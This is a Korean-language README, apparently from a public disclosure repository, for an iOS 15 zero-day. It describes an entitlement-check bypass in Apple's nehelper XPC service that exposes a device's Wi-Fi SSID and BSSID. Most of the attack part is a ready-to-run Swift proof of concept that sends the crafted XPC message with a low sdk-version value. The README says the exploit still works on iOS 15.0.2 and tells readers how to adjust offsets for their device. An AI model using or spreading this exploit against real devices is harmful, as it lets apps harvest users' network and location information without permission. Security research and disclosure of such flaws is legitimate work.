
iOS 15 0-day 익스플로잇 (15.0.2에서도 여전히 작동)
저는 이 코드를 Private API를 직접 사용하지 않도록 업데이트했습니다. 자세한 내용은 블로그 글에서 확인하세요. 다만, 그 의미는 이 코드가 이제 iOS 버전에 한정되고, 기기 모델에 따라 달라질 수 있다는 뜻입니다. 따라서 기기에서 동작하지 않는다면 c.c 파일의 오프셋을 다시 계산하여 업데이트하세요. 원본 코드는 direct 브랜치에서 찾을 수 있습니다.
XPC 엔드포인트 com.apple.nehelper는 사용자가 제공한 sdk-version 매개변수를 수락하며, 그 값이 524288 이하이면 com.apple.developer.networking.wifi-info 자격(entitlement) 확인이 건너뛰어집니다.
이로 인해 자격을 갖춘 모든 앱(예: 위치 접근 권한을 보유한 앱)이 필요한 자격 없이 Wifi 정보에 접근할 수 있게 됩니다.
이는 /usr/libexec/nehelper의 -[NEHelperWiFiInfoManager checkIfEntitled:]에서 발생합니다.
func wifi_info() -> String? {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 10)
xpc_dictionary_set_uint64(xdict, "sdk-version", 1) // may be omitted entirely
xpc_dictionary_set_string(xdict, "interface-name", "en0")
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let result = xpc_dictionary_get_value(reply, "result-data") {
let ssid = String(cString: xpc_dictionary_get_string(result, "SSID"))
let bssid = String(cString: xpc_dictionary_get_string(result, "BSSID"))
return "SSID: \(ssid)\nBSSID: \(bssid)"
} else {
return nil
}
}